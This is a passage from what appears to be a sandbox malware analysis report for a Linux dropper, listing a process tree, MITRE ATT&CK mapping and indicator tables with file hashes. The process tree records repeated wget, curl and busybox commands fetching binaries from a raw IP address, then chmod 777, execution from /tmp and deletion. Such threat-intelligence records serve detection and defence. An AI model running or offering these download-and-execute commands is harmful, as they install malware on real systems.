  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  ./P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:971
- /bin/chmod
  chmod 777 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  ./41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:974
- /usr/bin/wget
  wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:977
- /bin/chmod
  chmod 777 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  ./68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:980
- /usr/bin/wget
  wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:983
- /bin/chmod
  chmod 777 g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  ./g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:986

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8

Path /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	744	41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	751	68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	757	g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	771	xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	795	d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	820	bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	826	3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	835	BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	851	All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	875	P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	883	rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	889	9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	895	Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	901	vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	907	bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	913	3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	919	BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	925	xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	931	d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	937	rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	943	9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	949	Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	955	vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	961	All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	967	P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	973	41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	979	68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	985	g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6